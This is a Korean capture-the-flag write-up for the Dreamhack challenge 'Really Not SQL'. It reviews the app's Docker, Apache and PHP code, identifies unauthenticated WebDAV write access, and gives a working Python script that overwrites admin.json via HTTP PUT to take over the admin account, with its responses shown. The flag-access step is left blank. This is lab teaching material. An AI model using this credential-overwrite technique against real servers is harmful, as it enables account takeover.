[Dreamhack] Really Not SQL
목차
1. Intro
Dreamhack 링크: https://dreamhack.io/wargame/challenges/2105
Apache와 PHP로 구성된 간단한 로그인 애플리케이션이다.
사용자 정보가 JSON 파일에 저장되어 있고, 관리자 계정으로 로그인하면 /flag.php에서 플래그를 확인할 수 있다.
2. Code
파일 구조 접기/펼치기
/
├── .htaccess
├── 000-default.conf
├── flag
├── run.sh
└── src/
├── edit_profile.php
├── flag.php
├── index.php
├── login.php
├── static/
│ ├── index.php
│ └── style.css
└── user/
├── admin.json
├── guest.json
└── index.php
2.1. Dockerfile
전체 코드 접기/펼치기
FROM ubuntu:24.04
RUN apt-get update
RUN apt-get upgrade -y
RUN apt-get install -y zip unzip tzdata curl
RUN apt-get install -y php
RUN apt-get install -y apache2
RUN rm /var/www/html/index.html
COPY ./deploy/src /var/www/html/
# /var/www/html/user 권한이 777
RUN chmod 777 /var/www/html/user/
RUN chmod 666 /var/www/html/user/*.json
COPY ./deploy/000-default.conf /etc/apache2/sites-enabled/
COPY ./deploy/.htaccess /var/www/html/user/
COPY ./deploy/run.sh /usr/sbin/
COPY ./deploy/flag /flag
RUN a2enmod rewrite
RUN a2enmod dav
RUN a2enmod dav_fs
RUN chmod +x /usr/sbin/run.sh
EXPOSE 80
CMD ["/usr/sbin/run.sh"]
- 인증 정보가 웹 루트 내부에 저장되어 있다.
/var/www/html/user-> 권한이 777이다.
2.2. 000-default.conf
전체 코드 접기/펼치기
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/html/>
AllowOverride None
Require all granted
</Directory>
# WebDav가 허용됨
<Directory /var/www/html/user/>
DAV On
Options Indexes
AllowOverride All
# 외부 사용자 접근 모두 허용
Require all granted
</Directory>
</VirtualHost>
- WebDAV(Web Distributed Authoring and Versioning): HTTP를 통해 파일 생성과 수정이 가능하다.
2.3. .htaccess
전체 코드 접기/펼치기
<!-- DELETE method만 차단 -->
<Limit DELETE>
Require all denied
</Limit>
DELETE만 차단 ->PUT을 이용해 파일 덮어쓰기가 가능하다.
2.4. login.php
전체 코드 접기/펼치기
<?php
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$userDir = __DIR__ . '/user/';
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$filename = $username . '.json';
$filepath = $userDir . $filename;
if ($username !== "admin" && $username !== "guest") {
$error = "User not found";
} else {
$userData = json_decode(file_get_contents($filepath), true);
if ($userData['id'] !== $username){
$error = "Error occured";
} else if ($userData['password'] !== hash("sha256", $password)) {
$error = "Invalid password";
} else {
$_SESSION['user'] = $username;
$success = true;
}
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
<link rel="stylesheet" href="/static/style.css">
</head>
<body>
<div class="container">
<h1>Login</h1>
<form method="post" action="login.php">
<label for="username">User ID</label>
<input type="text" id="username" name="username" required>
<label for="password">Password</label>
<input type="password" id="password" name="password" required>
<button type="submit">Login</button>
</form>
</div>
<?php if ($error): ?>
<script>
alert("<?= $error ?>");
</script>
<?php elseif ($success): ?>
<script>
alert("Hello <?= $username ?>");
window.location.href = "/";
</script>
<?php endif; ?>
</body>
</html>
- 관리자 계정의 비밀번호 해시를 알고 있거나 변경할 수 있다면, 정상적인 로그인 절차를 통해 관리자 세션을 얻을 수 있다.
2.5. flag.php
전체 코드 접기/펼치기
<?php
session_start();
// 세션의 user 값이 admin인지 검사
if ($_SESSION['user'] !== "admin") {
http_response_code(403);
} else {
$file = file_get_contents('/flag');
echo trim($file);
}
?>
3. Vuln
인증 X WebDAV 파일 쓰기
4. Payload
전체 공격 과정
1. 공격자가 사용할 새 관리자 비밀번호 결정
2. 새 비밀번호의 SHA-256 해시 계산
3. 변경된 해시가 포함된 admin.json 생성
4. WebDAV PUT 요청으로 admin.json 덮어쓰기
5. 새 비밀번호로 관리자 로그인
6. 관리자 세션으로 flag.php 접근
4.1. admin.json 덮어쓰기
파이썬 requests 모듈을 통해 admin.json에 PUT 요청을 보내 원하는 비밀번호로 수정했다.
전체 코드 접기/펼치기
import hashlib
import json
import requests
base_url = "<DREAMHACK_URL>"
new_password = "admin1234"
password_hash = hashlib.sha256(
new_password.encode("utf-8")
).hexdigest()
payload = {
"no": 0,
"id": "admin",
"password": password_hash,
}
response = requests.put(
f"{base_url}/user/admin.json",
data=json.dumps(payload).encode("utf-8"),
headers={"Content-Type": "application/json"},
timeout=10,
allow_redirects=False,
)
print(response.status_code, response.reason)
print(response.text)
response.raise_for_status()
response = requests.get(
f"{base_url}/user/admin.json",
timeout=10,
)
print(response.status_code)
print(response.text)
실행 결과:
204 No Content
200
{"no": 0, "id": "admin", "password": "ac9689e2272427085e35b9d3e3e8bed88cb3434828b43b86fc0596cad4c6e270"}
4.2. flag.php 접근
pass
Comments